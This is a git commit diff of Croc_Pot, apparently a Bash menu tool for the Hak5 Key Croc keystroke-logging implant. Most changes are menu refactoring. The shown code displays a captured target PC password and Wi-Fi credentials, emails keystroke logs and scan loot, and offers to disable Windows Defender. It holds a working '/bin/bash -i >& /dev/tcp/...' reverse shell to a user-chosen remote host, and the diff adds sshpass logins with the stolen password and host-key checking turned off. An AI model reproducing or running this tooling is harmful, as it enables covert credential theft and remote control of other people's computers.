commit
c7928ab2df
|
@ -5,7 +5,7 @@
|
||||||
# Description: Send E-mail, Status of keycroc, Basic Nmap, TCPdump, Install payload,
|
# Description: Send E-mail, Status of keycroc, Basic Nmap, TCPdump, Install payload,
|
||||||
# SSH to HAK5 gear, Reverse ssh tunnel, and more
|
# SSH to HAK5 gear, Reverse ssh tunnel, and more
|
||||||
# Author: Spywill
|
# Author: Spywill
|
||||||
# Version: 1.5.5
|
# Version: 1.5.6
|
||||||
# Category: Key Croc
|
# Category: Key Croc
|
||||||
##
|
##
|
||||||
##
|
##
|
||||||
|
@ -58,12 +58,14 @@ MenuColor() {
|
||||||
MenuEnd() {
|
MenuEnd() {
|
||||||
echo -ne "\t\t\t\e[40;1m0${clear}${green}->${clear}\e[40;4;32mEXIT ${array[3]} ${clear}
|
echo -ne "\t\t\t\e[40;1m0${clear}${green}->${clear}\e[40;4;32mEXIT ${array[3]} ${clear}
|
||||||
\t\t$(ColorBlue 'CHOOSE AN OPTION AND PRESS [ENTER]: ')"
|
\t\t$(ColorBlue 'CHOOSE AN OPTION AND PRESS [ENTER]: ')"
|
||||||
|
unset m_a
|
||||||
|
read m_a
|
||||||
}
|
}
|
||||||
Info_Screen() {
|
Info_Screen() {
|
||||||
echo -ne "\n\e[48;5;202;30m${LINE}${clear}\n${yellow}${*}\n${clear}\e[48;5;202;30m${LINE}${clear}\n"
|
echo -ne "\n\e[48;5;202;30m${LINE}${clear}\n${yellow}${*}\n\e[48;5;202;30m${LINE}${clear}\n"
|
||||||
}
|
}
|
||||||
##
|
##
|
||||||
#----keycroc title
|
#----Croc_Pot title function
|
||||||
##
|
##
|
||||||
function croc_title() {
|
function croc_title() {
|
||||||
##
|
##
|
||||||
|
@ -86,22 +88,31 @@ if [ "$(OS_CHECK)" = LINUX ]; then
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
##
|
##
|
||||||
#----keycroc title display info
|
#----Croc_Pot title display info
|
||||||
##
|
##
|
||||||
echo -ne "\n\n\e[41;38;5;232m${LINE}${clear}
|
echo -ne "\n\n\e[41;38;5;232m${LINE}${clear}
|
||||||
${red}${LINE_A}${clear}\e[40m»${clear}${red}KEYCROC${clear}\e[40m-${clear}${red}HAK${clear}\e[40m${array[0]} ${clear}\e[40m«${clear}${red}---------${clear}\e[41;38;5;232m${array[1]}${clear}${yellow} $(hostname) IP: $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-) $(internet_test) ${clear}
|
${red}${LINE_A}${clear}\e[40m»${clear}${red}KEYCROC${clear}\e[40m-${clear}${red}HAK${clear}\e[40m${array[0]} ${clear}\e[40m«${clear}${red}---------${clear}\e[41;38;5;232m${array[1]}${clear}${yellow} $(hostname) IP: $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-) $(internet_test) ${clear}
|
||||||
${red} DEVELOPED BY ${clear}\e[40mSPYWILL ${clear}\e[40m ${clear}\e[41;38;5;232m§${clear}${yellow} $(hostname) VER: $(cat /root/udisk/version.txt) *TARGET-PC:${green}$(OS_CHECK) $(FILL_IN)${clear}
|
${red} DEVELOPED BY ${clear}\e[40mSPYWILL ${clear}\e[40m ${clear}\e[41;38;5;232m§${clear}${yellow} $(hostname) VER: $(cat /root/udisk/version.txt) *TARGET-PC:${green}$(OS_CHECK) $(FILL_IN)${clear}
|
||||||
${red} DATE OF SCAN${clear}\e[40m $(date +%b-%d-%y---%r)${clear}\e[41;38;5;232mΩ${clear}${yellow} $(hostname) keyboard: $(sed -n 9p /root/udisk/config.txt) ${clear}
|
${red} DATE OF SCAN${clear}\e[40m $(date +%b-%d-%y---%r)${clear}\e[41;38;5;232mΩ${clear}${yellow} $(hostname) keyboard: $(sed -n 9p /root/udisk/config.txt) ${clear}
|
||||||
${red}${LINE_A}${clear}\e[40;92m»CROC_POT«${red}--${clear}${yellow}VER:1.5.5${red}---${clear}\e[41;38;5;232m${array[2]}${clear}${yellow} CPU TEMP:$(cat /sys/class/thermal/thermal_zone0/temp)°C USAGE:$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print 100 - $1"%"}') MEM:$(free -m | awk 'NR==2{printf "%.2f%%", $3/$2*100 }') ${clear}
|
${red}${LINE_A}${clear}\e[40;92m»CROC_POT«${red}--${clear}${yellow}VER:1.5.6${red}---${clear}\e[41;38;5;232m${array[2]}${clear}${yellow} CPU TEMP:$(cat /sys/class/thermal/thermal_zone0/temp)°C USAGE:$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print 100 - $1"%"}') MEM:$(free -m | awk 'NR==2{printf "%.2f%%", $3/$2*100 }') ${clear}
|
||||||
\e[41;38;5;232m${LINE}${clear}\n\n"
|
\e[41;38;5;232m${LINE}${clear}\n\n"
|
||||||
}
|
}
|
||||||
|
##
|
||||||
|
#----Croc_Pot title for loot
|
||||||
|
##
|
||||||
function croc_title_loot() {
|
function croc_title_loot() {
|
||||||
echo -ne "\n${LINE}\n\t${LINE_A}>KEYCROC-HAK5<${LINE_A}\n\t\tDEVELOPED BY SPYWILL\n\t\tDATE OF SCAN-$(date +%b-%d-%y---%r)\n\t${LINE_A}>CROC_POT<${LINE_A}\n${LINE}\n\n"
|
echo -ne "\n${LINE}\n\t${LINE_A}>KEYCROC-HAK5<${LINE_A}\n\t\tDEVELOPED BY SPYWILL\n\t\tDATE OF SCAN-$(date +%b-%d-%y---%r)\n\t${LINE_A}>CROC_POT<${LINE_A}\n${LINE}\n\n"
|
||||||
}
|
}
|
||||||
|
##
|
||||||
|
#----Croc_Pot invalid entry
|
||||||
|
##
|
||||||
function invalid_entry() {
|
function invalid_entry() {
|
||||||
LED R
|
LED R
|
||||||
echo -ne "\n\t${LINE_}\e[5m$(ColorRed 'INVALID ENTRY PLEASE TRY AGAIN')${LINE_}\n"
|
echo -ne "\n\t${LINE_}\e[5m$(ColorRed 'INVALID ENTRY PLEASE TRY AGAIN')${LINE_}\n"
|
||||||
}
|
}
|
||||||
|
##
|
||||||
|
#----read user input
|
||||||
|
##
|
||||||
function read_all() {
|
function read_all() {
|
||||||
unset r_a
|
unset r_a
|
||||||
echo -ne "${blue}${*}:${clear}"; read r_a
|
echo -ne "${blue}${*}:${clear}"; read r_a
|
||||||
|
@ -256,8 +267,6 @@ MenuColor 8 PERSONAL SCAN ; echo -ne " ${clear}\n"
|
||||||
MenuColor 9 TARGET PC SCAN ; echo -ne " ${clear}\n"
|
MenuColor 9 TARGET PC SCAN ; echo -ne " ${clear}\n"
|
||||||
MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) regular_scan ; nmap_menu ;;
|
1) regular_scan ; nmap_menu ;;
|
||||||
2) quick_scan ; nmap_menu ;;
|
2) quick_scan ; nmap_menu ;;
|
||||||
|
@ -290,8 +299,6 @@ echo -ne "\t\t" ; MenuColor 6 DPKG LOG | tr -d '\t' ; echo -ne " ${clear}" ;
|
||||||
echo -ne "\t\t" ; MenuColor 7 NTPSTATS LOG | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 KEYSTROKES LOG | tr -d '\t' ; echo -ne " ${clear}\n"
|
echo -ne "\t\t" ; MenuColor 7 NTPSTATS LOG | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 KEYSTROKES LOG | tr -d '\t' ; echo -ne " ${clear}\n"
|
||||||
MenuColor 15 RETURN TO MAIN MENU ; echo -ne "${clear}\n"
|
MenuColor 15 RETURN TO MAIN MENU ; echo -ne "${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}MESSAGES_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/messages | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
|
1) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}MESSAGES_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/messages | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
|
||||||
2) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}KERNEL_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/kern.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
|
2) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}KERNEL_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/kern.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
|
||||||
|
@ -333,8 +340,6 @@ MenuColor 1 GMAIL ; echo -ne " ${clear}\n"
|
||||||
MenuColor 2 OUTLOOK ; echo -ne " ${clear}\n"
|
MenuColor 2 OUTLOOK ; echo -ne " ${clear}\n"
|
||||||
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) local GMAIL=smtp.gmail.com ; echo ${GMAIL} >> ${USER_CR} ;;
|
1) local GMAIL=smtp.gmail.com ; echo ${GMAIL} >> ${USER_CR} ;;
|
||||||
2) local OUTLOOK=smtp-mail.outlook.com ; echo ${OUTLOOK} >> ${USER_CR} ;;
|
2) local OUTLOOK=smtp-mail.outlook.com ; echo ${OUTLOOK} >> ${USER_CR} ;;
|
||||||
|
@ -402,7 +407,7 @@ if [ -e "${1}" ]; then
|
||||||
python_v
|
python_v
|
||||||
echo -ne "$(ColorGreen 'THIS FILE') ${1} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})"
|
echo -ne "$(ColorGreen 'THIS FILE') ${1} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})"
|
||||||
else
|
else
|
||||||
echo -ne "\n${LINE_}\e[40;31;4;5mPLEASE RUN AN ${3} ${4} FIRST STARTING ${3} ${4}${clear}${LINE_}\n"
|
echo -ne "\n${LINE_}\e[40;31;4;5mPLEASE RUN AN ${@:3:4} FIRST STARTING ${@:3:4}${clear}${LINE_}\n"
|
||||||
${5}
|
${5}
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
@ -446,8 +451,6 @@ MenuColor 5 ADD ATTACHMENT ; echo -ne " ${clear}\n"
|
||||||
MenuColor 6 KEYSTORKES LOG ; echo -ne " ${clear}\n"
|
MenuColor 6 KEYSTORKES LOG ; echo -ne " ${clear}\n"
|
||||||
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_NMAP.txt B NMAP SCAN nmap_menu ;;
|
1) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_NMAP.txt B NMAP SCAN nmap_menu ;;
|
||||||
2) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_LOG.txt C KEYCROC LOG croc_logs_mean ;;
|
2) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_LOG.txt C KEYCROC LOG croc_logs_mean ;;
|
||||||
|
@ -573,8 +576,6 @@ MenuColor 4 SCAN CURRENT NETWORK INTERFACE ; echo -ne " ${clear}\n"
|
||||||
MenuColor 5 ENTER AN TCPDUMP SCAN ; echo -ne " ${clear}\n"
|
MenuColor 5 ENTER AN TCPDUMP SCAN ; echo -ne " ${clear}\n"
|
||||||
MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) interface_tcpdump ; tcpdump_scan ;;
|
1) interface_tcpdump ; tcpdump_scan ;;
|
||||||
2) hex_ascII_tcpdump ; tcpdump_scan ;;
|
2) hex_ascII_tcpdump ; tcpdump_scan ;;
|
||||||
|
@ -840,8 +841,6 @@ MenuColor 5 EDIT .OVPN FILE ; echo -ne " ${clear}\n"
|
||||||
MenuColor 6 REMOVE VPN FILES ; echo -ne " ${clear}\n"
|
MenuColor 6 REMOVE VPN FILES ; echo -ne " ${clear}\n"
|
||||||
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) setup_vpn ; croc_vpn ;;
|
1) setup_vpn ; croc_vpn ;;
|
||||||
2) openvpn --config ${vpn_file_A} --daemon ; echo -ne "\n$(ColorGreen 'ENABLE VPN CHECK VPN STATUS')\n" ; croc_vpn ;;
|
2) openvpn --config ${vpn_file_A} --daemon ; echo -ne "\n$(ColorGreen 'ENABLE VPN CHECK VPN STATUS')\n" ; croc_vpn ;;
|
||||||
|
@ -3360,8 +3359,6 @@ MenuColor 3 SNAKE ; echo -ne " ${clear}\n"
|
||||||
MenuColor 4 MATRIX ; echo -ne " ${clear}\n"
|
MenuColor 4 MATRIX ; echo -ne " ${clear}\n"
|
||||||
MenuColor 5 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 5 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) chess_game ; pass_time ;;
|
1) chess_game ; pass_time ;;
|
||||||
2) tetris_game ; pass_time ;;
|
2) tetris_game ; pass_time ;;
|
||||||
|
@ -3438,8 +3435,6 @@ MenuColor 1 ENABLE WINDOWS DEFENDER ; echo -ne " ${clear}\n"
|
||||||
MenuColor 2 DISENABLE WINDOWS DEFENDER ; echo -ne " ${clear}\n"
|
MenuColor 2 DISENABLE WINDOWS DEFENDER ; echo -ne " ${clear}\n"
|
||||||
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) defender_enable ; croc_pot_plus ;;
|
1) defender_enable ; croc_pot_plus ;;
|
||||||
2) defender_disenable ; croc_pot_plus ;;
|
2) defender_disenable ; croc_pot_plus ;;
|
||||||
|
@ -3793,8 +3788,6 @@ MenuColor 4 QUICK START CROC_POT ; echo -ne " ${clear}\n"
|
||||||
MenuColor 5 CROCSHOT PAYLOAD ; echo -ne " ${clear}\n"
|
MenuColor 5 CROCSHOT PAYLOAD ; echo -ne " ${clear}\n"
|
||||||
MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) get_online_p ; install_payloads ;;
|
1) get_online_p ; install_payloads ;;
|
||||||
2) croc_unlock_p ; install_payloads ;;
|
2) croc_unlock_p ; install_payloads ;;
|
||||||
|
@ -3822,8 +3815,6 @@ MenuColor 7 WINDOWS DEFENDER ; echo -ne " ${clear}\n"
|
||||||
MenuColor 8 INSTALL PAYLOADS ; echo -ne " ${clear}\n"
|
MenuColor 8 INSTALL PAYLOADS ; echo -ne " ${clear}\n"
|
||||||
MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) tcpdump_scan ; menu_B ;;
|
1) tcpdump_scan ; menu_B ;;
|
||||||
2) keystorkes_laptop ; menu_B ;;
|
2) keystorkes_laptop ; menu_B ;;
|
||||||
|
@ -3903,21 +3894,21 @@ pc_info() {
|
||||||
local CROC_OS=/root/udisk/tools/Croc_Pot/Croc_OS.txt
|
local CROC_OS=/root/udisk/tools/Croc_Pot/Croc_OS.txt
|
||||||
local CROC_OS_TARGET=/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt
|
local CROC_OS_TARGET=/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt
|
||||||
if [ "$(OS_CHECK)" = WINDOWS ]; then
|
if [ "$(OS_CHECK)" = WINDOWS ]; then
|
||||||
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:') $(OS_CHECK)
|
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:')${green} $(OS_CHECK)
|
||||||
$(ColorYellow 'Target PC Host name:') $(sed -n 3p ${CROC_OS})
|
$(ColorYellow 'Target PC Host name:')${green} $(sed -n 3p ${CROC_OS})
|
||||||
$(ColorYellow 'Target PC Passwd:') $(target_pw)
|
$(ColorYellow 'Target PC Passwd:')${green} $(target_pw)
|
||||||
$(ColorYellow 'Target Pc user name:') $(sed -n 1p ${CROC_OS_TARGET})
|
$(ColorYellow 'Target Pc user name:')${green} $(sed -n 1p ${CROC_OS_TARGET})
|
||||||
$(ColorYellow 'Target Pc IP:') $(sed '2,6!d' ${CROC_OS_TARGET})
|
$(ColorYellow 'Target Pc IP:')${green} $(sed '2,6!d' ${CROC_OS_TARGET})
|
||||||
$(ColorYellow 'Target Pc SSID + PASSWD and MAC address:')
|
$(ColorYellow 'Target Pc SSID + PASSWD and MAC address:')${green}
|
||||||
$(sed '9,24!d' ${CROC_OS_TARGET})\n"
|
$(sed '9,24!d' ${CROC_OS_TARGET})\n"
|
||||||
elif [ "$(OS_CHECK)" = LINUX ]; then
|
elif [ "$(OS_CHECK)" = LINUX ]; then
|
||||||
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:') $(OS_CHECK)
|
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:')${green} $(OS_CHECK)
|
||||||
$(ColorYellow 'Target PC Host name:') $(sed -n 3p ${CROC_OS})
|
$(ColorYellow 'Target PC Host name:')${green} $(sed -n 3p ${CROC_OS})
|
||||||
$(ColorYellow 'Target PC Passwd:') $(target_pw)
|
$(ColorYellow 'Target PC Passwd:')${green} $(target_pw)
|
||||||
$(ColorYellow 'Target Pc user name:') $(sed -n 1p ${CROC_OS_TARGET})
|
$(ColorYellow 'Target Pc user name:')${green} $(sed -n 1p ${CROC_OS_TARGET})
|
||||||
$(ColorYellow 'Target Pc IP:') $(sed -n '2,3p' ${CROC_OS_TARGET})
|
$(ColorYellow 'Target Pc IP:')${green} $(sed -n '2,3p' ${CROC_OS_TARGET})
|
||||||
$(ColorYellow 'Target Pc SSID + PASSWD and MAC address:')
|
$(ColorYellow 'Target Pc SSID + PASSWD and MAC address:')${green}
|
||||||
$(sed '4,20!d' ${CROC_OS_TARGET})\n"
|
$(sed '4,20!d' ${CROC_OS_TARGET})${clear}\n"
|
||||||
else
|
else
|
||||||
echo -ne "$(ColorRed 'PLEASE RUN CROC_POT PAYLOAD TO GET TARGET PC USER NAME AND IP')"
|
echo -ne "$(ColorRed 'PLEASE RUN CROC_POT PAYLOAD TO GET TARGET PC USER NAME AND IP')"
|
||||||
fi
|
fi
|
||||||
|
@ -4001,8 +3992,6 @@ MenuColor 9 START NMON MONITORING ; echo -ne " ${clear}\n"
|
||||||
MenuColor 10 LIST MATCH PAYLOADS WORDS ; echo -ne " ${clear}\n"
|
MenuColor 10 LIST MATCH PAYLOADS WORDS ; echo -ne " ${clear}\n"
|
||||||
MenuColor 11 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 11 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) memory_check ; menu_A ;;
|
1) memory_check ; menu_A ;;
|
||||||
2) cpu_check ; menu_A ;;
|
2) cpu_check ; menu_A ;;
|
||||||
|
@ -4123,8 +4112,6 @@ MenuColor 2 REMOVE MIDNIGHT COMMANDER ; echo -ne " ${clear}\n"
|
||||||
MenuColor 3 START MIDNIGHT COMMANDER ; echo -ne " ${clear}\n"
|
MenuColor 3 START MIDNIGHT COMMANDER ; echo -ne " ${clear}\n"
|
||||||
MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) mc_install ; midnight_manager ;;
|
1) mc_install ; midnight_manager ;;
|
||||||
2) mc_remove ; midnight_manager ;;
|
2) mc_remove ; midnight_manager ;;
|
||||||
|
@ -4229,8 +4216,6 @@ MenuColor 10 MIDNIGHT MANAGER ; echo -ne " ${clear}\n"
|
||||||
MenuColor 11 QUACK COMMAND ; echo -ne " ${clear}\n"
|
MenuColor 11 QUACK COMMAND ; echo -ne " ${clear}\n"
|
||||||
MenuColor 12 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 12 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) edit_all /root/udisk/payloads ; croc_edit_menu ;;
|
1) edit_all /root/udisk/payloads ; croc_edit_menu ;;
|
||||||
2) edit_all /root/udisk/tools ; croc_edit_menu ;;
|
2) edit_all /root/udisk/tools ; croc_edit_menu ;;
|
||||||
|
@ -4254,6 +4239,21 @@ MenuEnd
|
||||||
function ssh_menu() {
|
function ssh_menu() {
|
||||||
LED B
|
LED B
|
||||||
clear
|
clear
|
||||||
|
##
|
||||||
|
#----SSH Install sshpass
|
||||||
|
##
|
||||||
|
local status="$(dpkg-query -W --showformat='${db:Status-Status}' "sshpass" 2>&1)"
|
||||||
|
if [ ! $? = 0 ] || [ ! "$status" = installed ]; then
|
||||||
|
read_all INSTALL SSHPASS Y/N AND PRESS [ENTER]
|
||||||
|
case $r_a in
|
||||||
|
[yY] | [yY][eE][sS])
|
||||||
|
apt install sshpass ;;
|
||||||
|
[nN] | [nN][oO])
|
||||||
|
echo -ne "\n$(ColorYellow 'Maybe next time')\n" ;;
|
||||||
|
*)
|
||||||
|
invalid_entry ; ssh_menu ;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
#
|
#
|
||||||
# Validate IP v4 or v6 address and start ssh to hak5 device
|
# Validate IP v4 or v6 address and start ssh to hak5 device
|
||||||
#
|
#
|
||||||
|
@ -4364,7 +4364,11 @@ start_ssh() {
|
||||||
echo -ne "\t$(ColorYellow 'Target PC user name:') $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)
|
echo -ne "\t$(ColorYellow 'Target PC user name:') $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)
|
||||||
\t$(ColorYellow 'Target PC IP:') $(os_ip)
|
\t$(ColorYellow 'Target PC IP:') $(os_ip)
|
||||||
\t$(ColorGreen 'Starting SSH with Target PC')\n"
|
\t$(ColorGreen 'Starting SSH with Target PC')\n"
|
||||||
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip)
|
if [ -e "/root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered" ]; then
|
||||||
|
sshpass -p $(target_pw) ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip)
|
||||||
|
else
|
||||||
|
ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip)
|
||||||
|
fi
|
||||||
}
|
}
|
||||||
case $(OS_CHECK) in
|
case $(OS_CHECK) in
|
||||||
WINDOWS)
|
WINDOWS)
|
||||||
|
@ -4386,7 +4390,7 @@ fi
|
||||||
userinput_ssh() {
|
userinput_ssh() {
|
||||||
echo -ne "$(ColorBlue 'ENTER THE HOST/USER NAME FOR SSH AND PRESS [ENTER]:')"; read SSH_USER
|
echo -ne "$(ColorBlue 'ENTER THE HOST/USER NAME FOR SSH AND PRESS [ENTER]:')"; read SSH_USER
|
||||||
echo -ne "$(ColorBlue 'ENTER THE IP FOR SSH AND PRESS [ENTER]:')"; read SSH_IP
|
echo -ne "$(ColorBlue 'ENTER THE IP FOR SSH AND PRESS [ENTER]:')"; read SSH_IP
|
||||||
ssh ${SSH_USER}@${SSH_IP}
|
ssh -o "StrictHostKeyChecking no" ${SSH_USER}@${SSH_IP}
|
||||||
}
|
}
|
||||||
##
|
##
|
||||||
#----SSH to wifi pineapple
|
#----SSH to wifi pineapple
|
||||||
|
@ -4466,8 +4470,6 @@ MenuColor 1 SSH PINEAPPLE ; echo -ne " ${clear}\n"
|
||||||
MenuColor 2 PINEAPPLE WEB ; echo -ne " ${clear}\n"
|
MenuColor 2 PINEAPPLE WEB ; echo -ne " ${clear}\n"
|
||||||
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
|
||||||
MenuEnd
|
MenuEnd
|
||||||
unset m_a
|
|
||||||
read m_a
|
|
||||||
case $m_a in
|
case $m_a in
|
||||||
1) ssh_shell ; ssh_menu ;;
|
1) ssh_shell ; ssh_menu ;;
|
||||||
2) pine_web ; ssh_menu ;;
|
2) pine_web ; ssh_menu ;;
|
||||||
|
@ -4653,6 +4655,12 @@ ssh_keygen() {
|
||||||
##
|
##
|
||||||
croc_reverse_shell() {
|
croc_reverse_shell() {
|
||||||
clear
|
clear
|
||||||
|
echo -ne "$(Info_Screen '# 1 Start reverse shell with nc start listening on remote host first
|
||||||
|
# 2 Start listening on the keycroc
|
||||||
|
# 3 Create payload to start reverse shell to your remote-server
|
||||||
|
# 4 Start reverse ssh tunnel to target pc
|
||||||
|
# 5 Start reverse ssh tunnel to your remote-server
|
||||||
|
# 6 Send remote commands with ssh')\n\n"
|
||||||
shell_input() {
|
shell_input() {
|
||||||
unset IP_RS IP_RSP IP_RSN
|
unset IP_RS IP_RSP IP_RSN
|
||||||
rm /root/udisk/tools/Croc_Pot/saved_shell.txt
|
rm /root/udisk/tools/Croc_Pot/saved_shell.txt
|
||||||
|
@ -4681,11 +4689,11 @@ remote_listener() {
|
||||||
read_all Found saved shell setup use them Y/N AND PRESS [ENTER]
|
read_all Found saved shell setup use them Y/N AND PRESS [ENTER]
|
||||||
case $r_a in
|
case $r_a in
|
||||||
[yY] | [yY][eE][sS])
|
[yY] | [yY][eE][sS])
|
||||||
echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}mnc -lnvp $(sed -n 2p ${SAVE_SHELL}) -s $(sed -n 1p ${SAVE_SHELL})${clear}\n"
|
echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}nc -lnvp $(sed -n 2p ${SAVE_SHELL}) -s $(sed -n 1p ${SAVE_SHELL})${clear}\n"
|
||||||
/bin/bash -i >& /dev/tcp/$(sed -n 1p ${SAVE_SHELL})/$(sed -n 2p ${SAVE_SHELL}) 0>&1 & ;;
|
/bin/bash -i >& /dev/tcp/$(sed -n 1p ${SAVE_SHELL})/$(sed -n 2p ${SAVE_SHELL}) 0>&1 & ;;
|
||||||
[nN] | [nN][oO])
|
[nN] | [nN][oO])
|
||||||
shell_input
|
shell_input
|
||||||
echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}mnc -lnvp ${IP_RSP} -s ${IP_RS}${clear}\n"
|
echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}nc -lnvp ${IP_RSP} -s ${IP_RS}${clear}\n"
|
||||||
/bin/bash -i >& /dev/tcp/${IP_RS}/${IP_RSP} 0>&1 & ;;
|
/bin/bash -i >& /dev/tcp/${IP_RS}/${IP_RSP} 0>&1 & ;;
|
||||||
*)
|
*)
|
||||||
invalid_entry ; croc_reverse_shell ;;
|
invalid_entry ; croc_reverse_shell ;;
|
||||||
|
@ -4773,6 +4781,13 @@ shell_pc() {
|
||||||
-Keycroc side will be setup with this below
|
-Keycroc side will be setup with this below
|
||||||
-\e[40;32mssh PC-username@localhost -p port#\e[0m')\n\n"
|
-\e[40;32mssh PC-username@localhost -p port#\e[0m')\n\n"
|
||||||
echo -ne "$(ColorYellow 'Found save Passwd try this:') $(target_pw)\n"
|
echo -ne "$(ColorYellow 'Found save Passwd try this:') $(target_pw)\n"
|
||||||
|
start_shell() {
|
||||||
|
if [ -e "/root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered" ]; then
|
||||||
|
sshpass -p $(target_pw) ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a}
